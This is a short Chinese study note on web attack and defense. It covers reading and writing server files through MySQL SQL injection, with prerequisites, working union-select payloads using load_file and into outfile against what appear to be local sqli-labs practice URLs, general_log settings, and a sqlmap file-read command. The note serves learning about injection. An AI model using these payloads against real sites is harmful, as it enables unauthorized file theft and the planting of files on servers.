Web安全攻防 学习笔记
一、MySQL 注入读写文件
MySQL 数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以对文件进行读写(前提是权限足够)
1.1、读取前提
-
用户权限足够高,尽量具有 root 权限
-
secure_file_priv 不为 null(默认是 null)
要使用的话,就要修改配置文件。
随便读个文件看看吧
# 注意:路径的斜线要两个, 不然会报错
select load_file("C:\\Users\\Think\\Desktop\\traget.txt");
1.2、读取文件内容
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file('D:\\1.txt'),3 --+
1.3、开启 MySQL 文件写入
show variables like '%general%'; # 默认是关闭的
set global general_log = on;
http://127.0.0.1/sqli/Less-7/?id=0')) union select 1,database(),3 into outfile "E:\\phpstudy_pro\\PHPTutorial\\WWW\\sqli\\Less-7\\dds.txt" --+
# into outfile 是把前面查询出来的结果写入后面的文件中
1.4、利用 sqlmap 进行读写文件
python sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1" --file-read "D://1.txt"